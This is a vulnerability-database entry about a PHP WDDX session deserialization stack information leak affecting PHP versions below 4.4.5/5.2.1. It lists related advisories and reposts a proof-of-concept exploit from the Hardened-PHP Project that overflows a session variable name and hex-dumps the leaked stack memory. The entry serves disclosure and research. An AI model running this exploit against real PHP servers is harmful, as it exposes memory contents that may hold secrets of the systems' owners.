PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak
| Reporter | Title | Published | Views | Family All 89 |
|---|---|---|---|---|
 | PHP < 4.4.5 / 5.2.1 Multiple Vulnerabilities | 9 Feb 200700:00 | – | nessus |
| CentOS 3 / 4 : php (CESA-2007:0076) | 21 Feb 200700:00 | – | nessus |
| Debian DSA-1264-1 : php4 - several vulnerabilities | 12 Mar 200700:00 | – | nessus |
| Fedora Core 6 : php-5.1.6-3.4.fc6 (2007-261) | 23 Feb 200700:00 | – | nessus |
| Fedora Core 5 : php-5.1.6-1.4 (2007-287) | 27 Feb 200700:00 | – | nessus |
| FreeBSD : php -- multiple vulnerabilities (7fcf1727-be71-11db-b2ec-000c6ec775d9) | 18 Feb 200700:00 | – | nessus |
| GLSA-200703-21 : PHP: Multiple vulnerabilities | 26 Mar 200700:00 | – | nessus |
| Mandrake Linux Security Advisory : php (MDKSA-2007:048) | 23 Feb 200700:00 | – | nessus |
| Oracle Linux 3 / 4 : php (ELSA-2007-0076) | 12 Jul 201300:00 | – | nessus |
| Oracle Linux 5 : Important: / php (ELSA-2007-0348) | 12 Jul 201300:00 | – | nessus |
10
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP WDDX Session Deserialization Stack Information Leak //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
if (!extension_loaded("wddx")) {
die("wddx extension needed\n");
}
ini_set("session.serialize_handler", "wddx");
session_start();
session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");
$keys = array_keys($_SESSION);
$stackdump = $keys[1];
echo "Stackdump\n---------\n\n";
for ($b=0; $b<strlen($stackdump); $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
printf ("%02x ", ord($stackdump[$b+$i]));
}
for ($i=0; $i<16; $i++) {
$c = ord($stackdump[$b+$i]);
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
# milw0rm.com [2007-03-04]Data
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27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.11752